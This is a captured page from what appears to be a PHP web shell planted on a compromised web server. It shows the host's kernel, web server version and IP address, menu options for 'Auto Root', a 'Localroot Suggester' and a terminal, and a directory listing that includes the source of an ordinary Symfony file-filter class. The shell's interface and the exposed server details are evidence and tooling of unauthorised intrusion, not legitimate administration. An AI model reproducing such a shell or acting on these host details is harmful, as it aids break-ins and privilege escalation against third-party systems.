Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 3.15.10.50
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
wb /
vendor /
symfony /
finder /
Iterator /
Delete
Unzip
Name
Size
Permission
Date
Action
CustomFilterIterator.php
1.53
KB
-rw-rw-r--
2022-07-29 07:37
DateRangeFilterIterator.php
1.41
KB
-rw-rw-r--
2022-07-29 07:37
DepthRangeFilterIterator.php
1.39
KB
-rw-rw-r--
2022-07-29 07:37
ExcludeDirectoryFilterIterator.php
2.61
KB
-rw-rw-r--
2022-07-29 07:37
FileTypeFilterIterator.php
1.36
KB
-rw-rw-r--
2022-07-29 07:37
FilecontentFilterIterator.php
1.41
KB
-rw-rw-r--
2022-07-29 07:37
FilenameFilterIterator.php
1.15
KB
-rw-rw-r--
2022-07-29 07:37
LazyIterator.php
672
B
-rw-rw-r--
2022-07-29 07:37
MultiplePcreFilterIterator.php
3.17
KB
-rw-rw-r--
2022-07-29 07:37
PathFilterIterator.php
1.42
KB
-rw-rw-r--
2022-07-29 07:37
RecursiveDirectoryIterator.php
4.44
KB
-rw-rw-r--
2022-07-29 07:37
SizeRangeFilterIterator.php
1.37
KB
-rw-rw-r--
2022-07-29 07:37
SortableIterator.php
3.82
KB
-rw-rw-r--
2022-07-29 07:37
VcsIgnoredFilterIterator.php
3.91
KB
-rw-rw-r--
2022-07-29 07:37
Save
Rename
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Finder\Iterator; use Symfony\Component\Finder\Gitignore; final class VcsIgnoredFilterIterator extends \FilterIterator { /** * @var string */ private $baseDir; /** * @var array<string, array{0: string, 1: string}|null> */ private $gitignoreFilesCache = []; /** * @var array<string, bool> */ private $ignoredPathsCache = []; public function __construct(\Iterator $iterator, string $baseDir) { $this->baseDir = $this->normalizePath($baseDir); parent::__construct($iterator); } public function accept(): bool { $file = $this->current(); $fileRealPath = $this->normalizePath($file->getRealPath()); return !$this->isIgnored($fileRealPath); } private function isIgnored(string $fileRealPath): bool { if (is_dir($fileRealPath) && !str_ends_with($fileRealPath, '/')) { $fileRealPath .= '/'; } if (isset($this->ignoredPathsCache[$fileRealPath])) { return $this->ignoredPathsCache[$fileRealPath]; } $ignored = false; foreach ($this->parentsDirectoryDownward($fileRealPath) as $parentDirectory) { if ($this->isIgnored($parentDirectory)) { // rules in ignored directories are ignored, no need to check further. break; } $fileRelativePath = substr($fileRealPath, \strlen($parentDirectory) + 1); if (null === $regexps = $this->readGitignoreFile("{$parentDirectory}/.gitignore")) { continue; } [$exclusionRegex, $inclusionRegex] = $regexps; if (preg_match($exclusionRegex, $fileRelativePath)) { $ignored = true; continue; } if (preg_match($inclusionRegex, $fileRelativePath)) { $ignored = false; } } return $this->ignoredPathsCache[$fileRealPath] = $ignored; } /** * @return list<string> */ private function parentsDirectoryDownward(string $fileRealPath): array { $parentDirectories = []; $parentDirectory = $fileRealPath; while (true) { $newParentDirectory = \dirname($parentDirectory); // dirname('/') = '/' if ($newParentDirectory === $parentDirectory) { break; } $parentDirectory = $newParentDirectory; if (0 !== strpos($parentDirectory, $this->baseDir)) { break; } $parentDirectories[] = $parentDirectory; } return array_reverse($parentDirectories); } /** * @return array{0: string, 1: string}|null */ private function readGitignoreFile(string $path): ?array { if (\array_key_exists($path, $this->gitignoreFilesCache)) { return $this->gitignoreFilesCache[$path]; } if (!file_exists($path)) { return $this->gitignoreFilesCache[$path] = null; } if (!is_file($path) || !is_readable($path)) { throw new \RuntimeException("The \"ignoreVCSIgnored\" option cannot be used by the Finder as the \"{$path}\" file is not readable."); } $gitignoreFileContent = file_get_contents($path); return $this->gitignoreFilesCache[$path] = [ Gitignore::toRegex($gitignoreFileContent), Gitignore::toRegexMatchingNegatedPatterns($gitignoreFileContent), ]; } private function normalizePath(string $path): string { if ('\\' === \DIRECTORY_SEPARATOR) { return str_replace('\\', '/', $path); } return $path; } }